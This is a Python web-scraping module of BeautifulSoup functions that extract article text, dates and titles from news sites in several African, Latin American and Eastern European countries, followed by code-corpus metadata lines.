:param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "single-article-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class":"manual-age single-article-datetime"}) date = article_date.text.strip().split("|")[0] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def nationaldailyngcom_story(soup): """ Function to pull the information we want from Nationaldailyng.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "td-post-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time') date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "entry-title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def punchngcom_story(soup): """ Function to pull the information we want from Punchng.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')][:-3] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time', attrs={"class": "entry-date published"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def vanguardngrcom_story(soup): """ Function to pull the information we want from Vanguardngr.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #title try: article_title = soup.find('h1', attrs={"class": "entry-title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def abccompy_story(soup): """ Function to pull the information we want from Abc.com.py stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "article-intro"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "article-date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def paraguaycom_story(soup): """ Function to pull the information we want from Paraguay.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "news_story"}) maintext = [para.text.strip() for para in article_body.find_all('div')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('p', attrs={"class": "news_category_and_date"}) date = article_date.text.split("|")[0].strip() hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('div', attrs={"class": "interior_main_column"}) hold_dict['title'] = article_title.h1.text except: article_title = None return hold_dict #%% def hoycompy_story(soup): """ Function to pull the information we want from Hoy.com.py stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-text"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('p', attrs={"class": "byline"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "h-b--lg push-bottom-sm"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def adndigitalcompy_story(soup): """ Function to pull the information we want from Adndigital.com.py stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry"}) unwanted = article_body.find('section', attrs={"id": "related_posts"}) if unwanted: unwanted.extract() maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def _5diascompy_story(soup): """ Function to pull the information we want from 5dias.com.py stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #date try: article_date = soup.find('h3', attrs={"class": "mono-caps-condensed--md -byline"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def lanacioncompy_story(soup): """ Function to pull the information we want from Lanacion.com.py stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #date try: article_date = soup.find('div', attrs={"class": "dt"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def lesoleilsn_story(soup): """ Function to pull the information we want from Lesoleil.sn stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "simple-text size-4 tt-content title-droid margin-big"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class":"tt-post-date-single"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "c-h1"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def xalimasncom_story(soup): """ Function to pull the information we want from Xalimasn.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "td-post-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time', attrs={"class":"entry-date updated td-module-date"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "entry-title"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def walfgroupecom_story(soup): """ Function to pull the information we want from Walf-groupe.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "single-posts-wrapper"}) body = article_body.find('div', attrs ={"class": "entry-content"}) maintext = [para.text.strip() for para in body.find_all('p')] maintext.pop() hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time', attrs={"class":"entry-date published updated"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def dakaractucom_story(soup): """ Function to pull the information we want from Dakaractu.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "texte"}) hold_dict['maintext'] = article_body.text.strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"id":"date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def ausenegalcom_story(soup): """ Function to pull the information we want from Au-senegal.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "texte surlignable clearfix"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('abbr', attrs={"class":"published"}) date = article_date['title'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "surlignable"}) hold_dict['title'] = article_title.text except: article_title = None return hold_dict #%% def thecitizencotz_story(soup): """ Function to pull the information we want from Thecitizen.co.tz stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('section', attrs={"class": "body-copy"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def dailynewscotz_story(soup): """ Function to pull the information we want from Dailynews.co.tz stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "post-meta-date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h4', attrs={"class": "title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def ippmediacom_story(soup): """ Function to pull the information we want from Ippmedia.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"}) body = article_body.find('div', attrs={"class": "field-item even"}) maintext = [para.text.strip() for para in body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def monitorcoug_story(soup): """ Function to pull the information we want from Monitor.co.ug stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('section', attrs={"class": "body-copy"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class":"story-view"}) date = article_date.h6.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def chimpreportscom_story(soup): """ Function to pull the information we want from Chimpreports.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-content entry clearfix"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def newvisioncoug_story(soup): """ Function to pull the information we want from Newvision.co.ug stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "article-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "publish-date"}) article_date = article_date.text.strip().split(" ")[1:] date = " ".join(article_date) hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def bukeddecoug_story(soup): """ Function to pull the information we want from Bukedde.co.ug stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "article-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def observerug_story(soup): """ Function to pull the information we want from Observer.ug stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('span', attrs={"itemprop": "articleBody"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time', attrs={"itemprop": "datePublished"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"itemprop": "name"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def daykyivua_story(soup): """ Function to pull the information we want from Day.kyiv.ua stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "node_date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def interfaxcomua_story(soup): """ Function to pull the information we want from Interfax.com.ua stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "article-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "article-time"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "article-content-title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def kpua_story(soup): """ Function to pull the information we want from Kp.ua stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #date try: article_date = soup.find('a', attrs={"class": "meta__date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def pravdacomua_story(soup): """ Function to pull the information we want from Pravda.com.ua stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "post_text"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "post_time"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def vestiua_story(soup): """ Function to pull the information we want from Vesti.ua stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "the-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('div', attrs={"class": "content-head"}) hold_dict['title'] = article_title.h1.text.strip() except: article_title = None return hold_dict #%% def wzlvivua_story(soup): """ Function to pull the information we want from Wz.lviv.ua stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('article', attrs={"class": "uk-article"}) maintext = [para.text.strip() for para in article_body.find_all('div')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class": "uk-text-middle"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "uk-article-title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict ###Serbia Domains #%% def rsn1infocom_story(soup): """ Function to pull the information we want from Rs.n1info.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"id": "articleContent"}) maintext= [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time', attrs={"class": "pub-date"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "single-article-title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def danasrs_story(soup): """ Function to pull the information we want from Danas.rs stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: unwanted = soup.find('div', attrs={"class": "danas-club"}) if unwanted: unwanted.extract() article_body1 = soup.find('div', attrs={"class": "post-intro-content content"}) maintext = [para.text.strip() for para in article_body1.find_all('p')] article_body2 = soup.find('div', attrs={"class": "post-content content"}) maintext += [para.text.strip() for para in article_body2.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time') date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "post-title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def insajdernet_story(soup): """ Function to pull the information we want from Insajder.net stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "articleView__text"}) maintext= [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time', attrs={"class": "articleBadge"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "articleView__headline"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def epokaerecom_story(soup): """ Function to pull the information we want from Epokaere.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('article', attrs={"class": "article"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "datetime_holder"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('article', attrs={"class": "article"}) hold_dict['title'] = article_title.h1.text.strip() except: article_title = None return hold_dict #%% def juznevesticom_story(soup): """ Function to pull the information we want from Juznevesti.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "desc_holder cf main--content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('p', attrs={"class": "article--single__date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "mb10 title title--1"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def kosovasotinfo_story(soup): """ Function to pull the information we want from Kosova-sot.info stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "news-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('ul', attrs={"class": "published-info"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "main-title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def krikrs_story(soup): """ Function to pull the information we want from Krik.rs stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "the_content_wrapper"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def vremecom_story(soup): """ Function to pull the information we want from Vreme.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"id": "mainContent"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class": "datum"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('div', attrs={"id": "mainContent"}) hold_dict['title'] = article_title.h3.text.strip() except: article_title = None return hold_dict #%% def istinomerrs_story(soup): """ Function to pull the information we want from Istinomer.rs stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "postexc clear"}) maintext = [para.text.strip() for para in article_body.find_all('p')] article_body1 = soup.find('div', attrs={"class": "col-md-12 pcont"}) maintext += [para.text.strip() for para in article_body1.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class": "datum"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def astrars_story(soup): """ Function to pull the information we want from Astra.rs stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "text"}) maintext = [para.text.strip() for para in article_body.find_all('p')] text = ', '.join(maintext).strip() hold_dict['maintext'] = '\n'.join(text.split(",")[1:]) except: article_body = None return hold_dict #%% def pescaniknet_story(soup): """ Function to pull the information we want from Pescanik.net stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class": "asdf-post-date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "entry-title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def cenzolovkars_story(soup): """ Function to pull the information we want from Cenzolovka.rs stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time', attrs={"class": "entry-date published"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "entry-title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def timescozm_story(soup): """ Function to pull the information we want from Times.co.zm stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "single-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class": "single-date"}) date = " ".join(article_date.text.split(" ")[2:5]) hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('div', attrs={"class": "widget-magmag-title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def bluradiocom_story(soup): """ Function to pull the information we want from Bluradio.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "contenidoDespliegue ng-binding"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time', attrs={"itemprop": "datePublished"}) date = article_date['content'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "titulo ng-binding ng-scope"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def noticiascanalrcncom_story(soup): """ Function to pull the information we want from Noticias.canalrcn.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "sumario"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "fecha"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('div', attrs={"class": "titulo"}) hold_dict['title'] = article_title.h1.text.strip() except: article_title = None return hold_dict #%% def lasillarotacom_story(soup): """ Function to pull the information we want from Lasillarota.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"id": "crpler"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #title try: article_title = soup.find('div', attrs={"class": "titulo-nota"}) hold_dict['title'] = article_title.h1.text.strip() except: article_title = None return hold_dict #%% def lasillavaciacom_story(soup): """ Function to pull the information we want from Lasillavacia.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "field field-name-body field-type-text-with-summary field-label-hidden"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "author author-top"}) date = article_date.p.text.split("·")[1] print(date) hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def elespectadorcom_story(soup): """ Function to pull the information we want from Lasillavacia.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "Article-Content"}) maintext = [para.text.strip() for para in article_body.find_all('p', attrs={"class": "font--secondary"})] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def portafolioco_story(soup): """ Function to pull the information we want from Portafolio.co stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "article-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #title try: article_title = soup.find('h1', attrs={"itemprop": "headline"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def canal1comco_story(soup): """ Function to pull the information we want from Canal1.com.co stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "article-container"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time', attrs={"class": "jsx-3840644288"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "jsx-3840644288"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def eluniversalcomco_story(soup): """ Function to pull the information we want from Eluniversal.com.co stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "text small resizable"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('span', attrs={"class": "datefrom small"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "headline"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def razonpublicacom_story(soup): """ Function to pull the information we want from Razonpublica.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #date try: article_date = soup.find('time', attrs={"class": "entry-date published"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def caracolcomco_story(soup): """ Function to pull the information we want from Caracol.com.co stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"itemprop": "articleBody"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def cuestionpublicacom_story(soup): """ Function to pull the information we want from Cuestionpublica.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "td-post-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('time', attrs={"class": "entry-date updated td-module-date"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "entry-title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict #%% def proclamadelcaucacom_story(soup): """ Function to pull the information we want from Proclamadelcauca.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "single-entradaContent"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def laorejarojacom_story(soup): """ Function to pull the information we want from Laorejaroja.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "entry-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None return hold_dict #%% def lafmcomco_story(soup): """ Function to pull the information we want from Lafm.com.co stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #text try: article_body = soup.find('div', attrs={"class": "node-content"}) maintext = [para.text.strip() for para in article_body.find_all('p')] hold_dict['maintext'] = '\n '.join(maintext).strip() except: article_body = None #date try: article_date = soup.find('div', attrs={"class": "node-date"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None #title try: article_title = soup.find('h1', attrs={"class": "node__title"}) hold_dict['title'] = article_title.text.strip() except: article_title = None return hold_dict def vanguardngrcom_story(soup): """ Function to pull the information we want from Vanguardngr.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #date try: article_date = soup.find('time', attrs={"class": "entry-date published"}) date = article_date['datetime'] hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def thereporterethiopiacom_story(soup): """ Function to pull the information we want from Thereporterethiopia.com stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #date try: article_date = soup.find('span', attrs={"class": "post-created"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def addisfortunenews_story(soup): """ Function to pull the information we want from Addisfortune.news stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #date try: article_date = soup.find('p', attrs={"class": "font-11 t-center adf_theme"}) date = article_date.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict #%% def newsdaycozw_story(soup): """ Function to pull the information we want from Newsday.co.zw stories :param soup: BeautifulSoup object, ready to parse """ hold_dict = {} #date try: article_date = soup.find('div', attrs={"class": "post-date-bd"}) date = article_date.span.text hold_dict['date_publish'] = dateparser.parse(date) except: article_date = None return hold_dict def main(): header = { 'User-Agent': ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36' '(KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36') } # url = 'http://telegraf.al/aktualitet/ja-si-zbatohet-teoria-e-mao-ce-dunit-ne-berat/' # response = requests.get(url, headers=header).text # soup = BeautifulSoup(response) # text= nationcoke_story(soup) # print(text) # %%
31.223543
129
0.615822
9,943
81,431
4.890878
0.053706
0.074193
0.033806
0.04343
0.903167
0.897388
0.890294
0.883899
0.877894
0.874316
0
0.00262
0.250101
81,431
2,607
130
31.23552
0.793728
0.176149
0
0.812245
0
0
0.129152
0.006693
0
0
0
0
0
1
0.062974
false
0
0.005831
0
0.131195
0.001166
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3e86b919d02a0c14955640ec6db3473cb8e41aa2
73
py
Python
sinas/__init__.py
Fruitscale/Sinas
eb7536162b7c10e14bbe37b0b6a11000ea7906ec
[ "MIT" ]
null
null
null
sinas/__init__.py
Fruitscale/Sinas
eb7536162b7c10e14bbe37b0b6a11000ea7906ec
